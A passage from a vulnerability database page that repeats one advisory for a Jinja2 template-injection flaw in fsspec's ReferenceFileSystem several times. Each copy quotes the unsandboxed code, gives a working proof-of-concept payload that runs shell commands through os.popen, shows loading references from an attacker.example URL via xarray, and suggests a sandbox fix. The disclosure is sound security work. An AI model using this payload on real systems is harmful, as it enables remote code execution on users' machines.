in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-oterm-CVE-2026-104851",
"modified": "2026-10-06T09:30:43Z",
"published": "2026-10-06T09:30:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
BREW-PYTORCH-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-06 10:31 – Updated: 2026-10-06 10:31 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.7.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "pytorch",
"purl": "pkg:brew/pytorch"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.7.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.7.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-pytorch-CVE-2026-104851",
"modified": "2026-10-06T10:31:55Z",
"published": "2026-10-06T10:31:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
BREW-RAWDOG-CVE-2026-104851 (GHSA-27VJ-QCQG-25RC)
Vulnerability from osv_homebrew – Published: 2026-10-06 09:45 – Updated: 2026-10-06 09:45 – Source websiteSummary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fsspec",
"resource_purl": "pkg:pypi/fsspec@2026.9.0",
"upstream_fixed_in": "2026.6.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "rawdog",
"purl": "pkg:brew/rawdog"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.5"
},
{
"fixed": "0.1.6_24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fsspec@2026.9.0",
"name": "fsspec",
"resource": "fsspec",
"strategy": "registry",
"subject_version": "2026.9.0"
}
]
},
"details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n return jinja2.Template(u).render(**self.templates) # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n ...\n for k, v in tmp.items():\n if \"{{\" in v:\n import jinja2\n self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n temp # \u003c- unsandboxed\n ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n ...\n for pr in products:\n import jinja2\n key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates) # \u003c- unsandboxed\n if (\"offset\" in gen) and (\"length\" in gen):\n offset = int(jinja2.Template(gen[\"offset\"]).render(...)) # \u003c- unsandboxed\n length = int(jinja2.Template(gen[\"length\"]).render(...)) # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n \"gen\": [{\n \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n \"reference://\",\n engine=\"zarr\",\n backend_kwargs={\n \"consolidated\": False,\n \"storage_options\": {\n \"fo\": \"http://attacker.example/refs.json\",\n \"remote_protocol\": \"http\",\n },\n },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to 